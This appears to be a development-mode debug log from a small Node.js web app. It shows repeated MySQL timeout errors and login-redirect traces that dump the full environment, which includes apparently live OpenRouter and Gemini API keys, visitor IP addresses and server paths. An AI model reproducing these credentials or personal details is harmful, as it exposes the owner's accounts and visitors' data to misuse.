Error: delete from `sessions` where expired < CAST('2026-04-11 03:17:59' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-04-11 03:17:59' as DATETIME)"
}
KnexTimeoutError: Knex: Timeout acquiring a connection. The pool is probably full. Are you missing a .transacting(trx) call?
    at Client_MySQL2.acquireConnection (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/knex/lib/client.js:332:26)
    at async Runner.ensureConnection (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/knex/lib/execution/runner.js:305:28)
    at async Runner.run (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/knex/lib/execution/runner.js:30:19) {
  sql: undefined,
  bindings: undefined
}
Warning: got packets out of order. Expected 2 but received 1
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-04-11 03:23:43' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-04-11 03:23:43' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-04-11 03:28:11' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-04-11 03:28:11' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-04-11 03:31:20' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-04-11 03:31:20' as DATETIME)"
}
AggregateError [ECONNREFUSED]: 
    at internalConnectMultiple (node:net:1134:18)
    at afterConnectMultiple (node:net:1715:7) {
  code: 'ECONNREFUSED',
  fatal: true,
  [errors]: [
    Error: connect ECONNREFUSED 2a01:4f9:3071:1fc3::396:3306
        at createConnectionError (node:net:1678:14)
        at afterConnectMultiple (node:net:1708:16) {
      errno: -111,
      code: 'ECONNREFUSED',
      syscall: 'connect',
      address: '2a01:4f9:3071:1fc3::396',
      port: 3306
    },
    Error: connect ECONNREFUSED 65.21.215.19:3306
        at createConnectionError (node:net:1678:14)
        at afterConnectMultiple (node:net:1708:16) {
      errno: -111,
      code: 'ECONNREFUSED',
      syscall: 'connect',
      address: '65.21.215.19',
      port: 3306
    }
  ]
}
AggregateError [ECONNREFUSED]: 
    at internalConnectMultiple (node:net:1134:18)
    at afterConnectMultiple (node:net:1715:7) {
  code: 'ECONNREFUSED',
  fatal: true,
  [errors]: [
    Error: connect ECONNREFUSED 2a01:4f9:3071:1fc3::396:3306
        at createConnectionError (node:net:1678:14)
        at afterConnectMultiple (node:net:1708:16) {
      errno: -111,
      code: 'ECONNREFUSED',
      syscall: 'connect',
      address: '2a01:4f9:3071:1fc3::396',
      port: 3306
    },
    Error: connect ECONNREFUSED 65.21.215.19:3306
        at createConnectionError (node:net:1678:14)
        at afterConnectMultiple (node:net:1708:16) {
      errno: -111,
      code: 'ECONNREFUSED',
      syscall: 'connect',
      address: '65.21.215.19',
      port: 3306
    }
  ]
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-04-11 03:36:38' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-04-11 03:36:38' as DATETIME)"
}
KnexTimeoutError: Knex: Timeout acquiring a connection. The pool is probably full. Are you missing a .transacting(trx) call?
    at Client_MySQL2.acquireConnection (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/knex/lib/client.js:332:26)
    at async Runner.ensureConnection (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/knex/lib/execution/runner.js:305:28)
    at async Runner.run (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/knex/lib/execution/runner.js:30:19) {
  sql: undefined,
  bindings: undefined
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-04-11 03:45:14' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-04-11 03:45:14' as DATETIME)"
}
2026-04-11T06:46:15.344Z server-connect:router Serving templateView /
2026-04-11T06:46:15.346Z server-connect:app Executing action step identify
2026-04-11T06:46:15.346Z server-connect:app options: { provider: 'security' }
2026-04-11T06:46:15.346Z server-connect:auth No login cookie found
2026-04-11T06:46:15.346Z server-connect:output identity: false
2026-04-11T06:46:15.346Z server-connect:app Executing action step restrict
2026-04-11T06:46:15.346Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-04-11T06:46:15.347Z server-connect:output restrict: undefined
2026-04-11T06:46:15.472Z server-connect:router Serving templateView /login
2026-04-11T06:46:15.473Z server-connect:app Executing action step identify
2026-04-11T06:46:15.473Z server-connect:app options: { provider: 'security' }
2026-04-11T06:46:15.473Z server-connect:auth No login cookie found
2026-04-11T06:46:15.473Z server-connect:output identity: false
2026-04-11T06:46:15.473Z server-connect:router Render template layouts/authentication
2026-04-11T06:46:15.473Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    connection: 'keep-alive',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36',
    'sec-ch-ua': 'Google Chrome";v="111", "Not(A:Brand";v="8", "Chromium";v="111',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9',
    'sec-fetch-mode': 'navigate',
    'x-forwarded-for': '103.196.9.206',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-04-12T06:46:15.472Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '103.196.9.206',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    HTTP_CONNECTION: 'keep-alive',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36',
    'HTTP_SEC_CH-UA': 'Google Chrome";v="111", "Not(A:Brand";v="8", "Chromium";v="111',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_X_FORWARDED-FOR': '103.196.9.206',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-04-11T06:47:54.460Z server-connect:router Serving templateView /
2026-04-11T06:47:54.460Z server-connect:app Executing action step identify
2026-04-11T06:47:54.460Z server-connect:app options: { provider: 'security' }
2026-04-11T06:47:54.460Z server-connect:auth No login cookie found
2026-04-11T06:47:54.461Z server-connect:output identity: false
2026-04-11T06:47:54.461Z server-connect:app Executing action step restrict
2026-04-11T06:47:54.461Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-04-11T06:47:54.461Z server-connect:output restrict: undefined
2026-04-11T06:47:54.636Z server-connect:router Serving templateView /login
2026-04-11T06:47:54.636Z server-connect:app Executing action step identify
2026-04-11T06:47:54.636Z server-connect:app options: { provider: 'security' }
2026-04-11T06:47:54.636Z server-connect:auth No login cookie found
2026-04-11T06:47:54.636Z server-connect:output identity: false
2026-04-11T06:47:54.636Z server-connect:router Render template layouts/authentication
2026-04-11T06:47:54.636Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    connection: 'keep-alive',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36',
    'sec-ch-ua': 'Google Chrome";v="111", "Not(A:Brand";v="8", "Chromium";v="111',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9',
    'sec-fetch-mode': 'navigate',
    'x-forwarded-for': '104.252.191.244',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-04-12T06:47:54.635Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '104.252.191.244',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    HTTP_CONNECTION: 'keep-alive',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36',
    'HTTP_SEC_CH-UA': 'Google Chrome";v="111", "Not(A:Brand";v="8", "Chromium";v="111',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_X_FORWARDED-FOR': '104.252.191.244',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-04-11T06:47:58.739Z server-connect:router Serving templateView /
2026-04-11T06:47:58.739Z server-connect:app Executing action step identify
2026-04-11T06:47:58.739Z server-connect:app options: { provider: 'security' }
2026-04-11T06:47:58.739Z server-connect:auth No login cookie found
2026-04-11T06:47:58.739Z server-connect:output identity: false
2026-04-11T06:47:58.739Z server-connect:app Executing action step restrict
2026-04-11T06:47:58.740Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-04-11T06:47:58.740Z server-connect:output restrict: undefined
2026-04-11T06:47:59.092Z server-connect:router Serving templateView /login
2026-04-11T06:47:59.092Z server-connect:app Executing action step identify
2026-04-11T06:47:59.092Z server-connect:app options: { provider: 'security' }
2026-04-11T06:47:59.093Z server-connect:auth No login cookie found
2026-04-11T06:47:59.093Z server-connect:output identity: false
2026-04-11T06:47:59.093Z server-connect:router Render template layouts/authentication
2026-04-11T06:47:59.093Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    connection: 'keep-alive',
    'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36',
    'sec-ch-ua': 'Google Chrome";v="111", "Not(A:Brand";v="8", "Chromium";v="111',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9',
    'sec-fetch-mode': 'navigate',
    'x-forwarded-for': '103.196.9.206',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-04-12T06:47:59.091Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '103.196.9.206',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    HTTP_CONNECTION: 'keep-alive',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36',
    'HTTP_SEC_CH-UA': 'Google Chrome";v="111", "Not(A:Brand";v="8", "Chromium";v="111',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_X_FORWARDED-FOR': '103.196.9.206',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-04-11T07:18:52.644Z server-connect:router Serving templateView /
2026-04-11T07:18:52.644Z server-connect:app Executing action step identify
2026-04-11T07:18:52.644Z server-connect:app options: { provider: 'security' }
2026-04-11T07:18:52.644Z server-connect:auth No login cookie found
2026-04-11T07:18:52.644Z server-connect:output identity: false
2026-04-11T07:18:52.644Z server-connect:app Executing action step restrict
2026-04-11T07:18:52.644Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-04-11T07:18:52.645Z server-connect:output restrict: undefined
2026-04-11T07:18:53.653Z server-connect:router Serving templateView /login
2026-04-11T07:18:53.653Z server-connect:app Executing action step identify
2026-04-11T07:18:53.653Z server-connect:app options: { provider: 'security' }
2026-04-11T07:18:53.653Z server-connect:auth No login cookie found
2026-04-11T07:18:53.653Z server-connect:output identity: false
2026-04-11T07:18:53.653Z server-connect:router Render template layouts/authentication
2026-04-11T07:18:53.654Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'www.ems.sanjaychaurasia.xyz',
    connection: 'keep-alive',
    'sec-ch-ua': '"Chromium";v="142", "Not:A-Brand";v="24", "Brave";v="142"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"Linux"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8',
    'sec-gpc': '1',
    'accept-language': 'en-US,en;q=0.5',
    'sec-fetch-site': 'none',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '68.183.44.185',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
